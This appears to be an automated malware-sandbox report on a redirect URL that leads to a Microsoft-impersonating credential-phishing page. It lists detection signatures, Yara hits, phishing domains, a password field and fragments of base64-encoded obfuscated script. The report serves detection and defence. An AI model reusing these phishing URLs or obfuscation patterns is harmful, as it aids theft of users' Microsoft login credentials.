Edit tour

Windows Analysis Report
https://url.us.m.mimecastprotect.com/s/rdl8Cn5lg3fXAy8f9CFLb?domain=url2.mailanyone.net

Overview

General Information

Sample URL:	https://url.us.m.mimecastprotect.com/s/rdl8Cn5lg3fXAy8f9CFLb?domain=url2.mailanyone.net
Analysis ID:	1437709
Infos:

Detection

HTMLPhisher

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Phishing site detected (based on favicon image match)

Yara detected HtmlPhish54

LLM detected suspicious javascript

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

Found iframes

HTML body contains low number of good links

HTML page contains hidden URLs or javascript code

HTML page contains obfuscate script src

HTML title does not match URL

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5436 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2484 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2000,i,11320093848414894593,13025177636891857523,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6568 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://url.us.m.mimecastprotect.com/s/rdl8Cn5lg3fXAy8f9CFLb?domain=url2.mailanyone.net" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
4.6.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
5.7.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
5.15.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
5.9.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security

LLM: Reasons: The code is obfuscated using anonymous functions and closures, it dynamically modifies the HTML by registering event handlers for 'doc.ready' and 'doc.load', and it performs code unpacking using the 'when' function which evaluates the input arguments after certain conditions are met.

Phishing site detected (based on image similarity)

Source: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Matcher: Template: microsoft matched

Source: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true	HTTP Parser: Iframe src: https://outlook.office365.com/owa/prefetch.aspx
Source: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true	HTTP Parser: Iframe src: https://outlook.office365.com/owa/prefetch.aspx
Source: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true	HTTP Parser: Iframe src: https://outlook.office365.com/owa/prefetch.aspx

Source: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true	HTTP Parser: Number of links: 0
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638507035278740798.MzUwZWEwNGItMDc2Ny00ZjQ4LWJlYWItNDkwZDdhNWFmNDExODhjMzU2NGEtNGYwNi00ZTc2LTgxZGUtOTc3ZThkN2NiMTM5&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=65a2f881-c484-4091-8dea-f9c5e60c6216&state=j_I4xLz5AzwiVA6s4u72AC-XEC9DKOavNHD4fPS5GNMxAtwCWWsBjq2KyIdbrvkUVnbYrkLW4GsCQb-6wmiv7gBRQkX2Jp5V1FRDuA4iT8QLwc6TltoXvZsQdgGDDBubaqu82WwEjOQ2TkYeohIrikvWBmC4IbpqWznV-M-o38c24SvDYdeR0QYdUHfCz7UBmRChHVvH9kEZ6Ip3fMl5K_LY8IdKp1SaQj-hqckN3dJbLDkyJnd2wCyIvKNGFPIcOb83k_V21Ic9LYCeERaRZ-k2eUlt6wTi_DcWI8d4X9ZvHMJ7-vjjftPEOE1fO7A2WEp8EXcaBRCxS9mOKITzrsCu5CZ3ac73ek0NZ-saQ00&x-client-SKU=ID_NET6_0&x-client-ver=7.3.1.0	HTTP Parser: Number of links: 0
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638507035278740798.MzUwZWEwNGItMDc2Ny00ZjQ4LWJlYWItNDkwZDdhNWFmNDExODhjMzU2NGEtNGYwNi00ZTc2LTgxZGUtOTc3ZThkN2NiMTM5&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=65a2f881-c484-4091-8dea-f9c5e60c6216&state=j_I4xLz5AzwiVA6s4u72AC-XEC9DKOavNHD4fPS5GNMxAtwCWWsBjq2KyIdbrvkUVnbYrkLW4GsCQb-6wmiv7gBRQkX2Jp5V1FRDuA4iT8QLwc6TltoXvZsQdgGDDBubaqu82WwEjOQ2TkYeohIrikvWBmC4IbpqWznV-M-o38c24SvDYdeR0QYdUHfCz7UBmRChHVvH9kEZ6Ip3fMl5K_LY8IdKp1SaQj-hqckN3dJbLDkyJnd2wCyIvKNGFPIcOb83k_V21Ic9LYCeERaRZ-k2eUlt6wTi_DcWI8d4X9ZvHMJ7-vjjftPEOE1fO7A2WEp8EXcaBRCxS9mOKITzrsCu5CZ3ac73ek0NZ-saQ00&x-client-SKU=ID_NET6_0&x-client-ver=7.3.1.0&sso_reload=true	HTTP Parser: Number of links: 0

Source: https://greefrunners.co.za/#msdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865

HTTP Parser: Base64 decoded: https://facebook.com

Source: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJm	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJm	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJm	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJm	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX

Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638507035278740798.MzUwZWEwNGItMDc2Ny00ZjQ4LWJlYWItNDkwZDdhNWFmNDExODhjMzU2NGEtNGYwNi00ZTc2LTgxZGUtOTc3ZThkN2NiMTM5&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=65a2f881-c484-4091-8dea-f9c5e60c6216&state=j_I4xLz5AzwiVA6s4u72AC-XEC9DKOavNHD4fPS5GNMxAtwCWWsBjq2KyIdbrvkUVnbYrkLW4GsCQb-6wmiv7gBRQkX2Jp5V1FRDuA4iT8QLwc6TltoXvZsQdgGDDBubaqu82WwEjOQ2TkYeohIrikvWBmC4IbpqWznV-M-o38c24SvDYdeR0QYdUHfCz7UBmRChHVvH9kEZ6Ip3fMl5K_LY8IdKp1SaQj-hqckN3dJbLDkyJnd2wCyIvKNGFPIcOb83k_V21Ic9LYCeERaRZ-k2eUlt6wTi_DcWI8d4X9ZvHMJ7-vjjftPEOE1fO7A2WEp8EXcaBRCxS9mOKITzrsCu5CZ3ac73ek0NZ-saQ00&x-client-SKU=ID_NET6_0&x-client-ver=7.3.1.0	HTTP Parser: Title: Redirecting does not match URL
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638507035278740798.MzUwZWEwNGItMDc2Ny00ZjQ4LWJlYWItNDkwZDdhNWFmNDExODhjMzU2NGEtNGYwNi00ZTc2LTgxZGUtOTc3ZThkN2NiMTM5&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=65a2f881-c484-4091-8dea-f9c5e60c6216&state=j_I4xLz5AzwiVA6s4u72AC-XEC9DKOavNHD4fPS5GNMxAtwCWWsBjq2KyIdbrvkUVnbYrkLW4GsCQb-6wmiv7gBRQkX2Jp5V1FRDuA4iT8QLwc6TltoXvZsQdgGDDBubaqu82WwEjOQ2TkYeohIrikvWBmC4IbpqWznV-M-o38c24SvDYdeR0QYdUHfCz7UBmRChHVvH9kEZ6Ip3fMl5K_LY8IdKp1SaQj-hqckN3dJbLDkyJnd2wCyIvKNGFPIcOb83k_V21Ic9LYCeERaRZ-k2eUlt6wTi_DcWI8d4X9ZvHMJ7-vjjftPEOE1fO7A2WEp8EXcaBRCxS9mOKITzrsCu5CZ3ac73ek0NZ-saQ00&x-client-SKU=ID_NET6_0&x-client-ver=7.3.1.0&sso_reload=true	HTTP Parser: Title: Sign in to your account does not match URL

Source: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true	HTTP Parser: <input type="password" .../> found
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638507035278740798.MzUwZWEwNGItMDc2Ny00ZjQ4LWJlYWItNDkwZDdhNWFmNDExODhjMzU2NGEtNGYwNi00ZTc2LTgxZGUtOTc3ZThkN2NiMTM5&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=65a2f881-c484-4091-8dea-f9c5e60c6216&state=j_I4xLz5AzwiVA6s4u72AC-XEC9DKOavNHD4fPS5GNMxAtwCWWsBjq2KyIdbrvkUVnbYrkLW4GsCQb-6wmiv7gBRQkX2Jp5V1FRDuA4iT8QLwc6TltoXvZsQdgGDDBubaqu82WwEjOQ2TkYeohIrikvWBmC4IbpqWznV-M-o38c24SvDYdeR0QYdUHfCz7UBmRChHVvH9kEZ6Ip3fMl5K_LY8IdKp1SaQj-hqckN3dJbLDkyJnd2wCyIvKNGFPIcOb83k_V21Ic9LYCeERaRZ-k2eUlt6wTi_DcWI8d4X9ZvHMJ7-vjjftPEOE1fO7A2WEp8EXcaBRCxS9mOKITzrsCu5CZ3ac73ek0NZ-saQ00&x-client-SKU=ID_NET6_0&x-client-ver=7.3.1.0&sso_reload=true	HTTP Parser: <input type="password" .../> found

Source: https://hdbfhja.store/?xeuxuwcg=ec88ccf3521205507dea895bdd8c3dd57082bcf2b8e2d8cb549d067aa15240ca465f646207db5f3c3b1aaa7db51b6765211ca48965e9c1476f5fe534a8b2d46e&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/0i6ex/0x4AAAAAAAZkgmLQjbC4655I/auto/normal	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/0i6ex/0x4AAAAAAAZkgmLQjbC4655I/auto/normal	HTTP Parser: No favicon
Source: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=	HTTP Parser: No favicon
Source: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true	HTTP Parser: No favicon
Source: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgx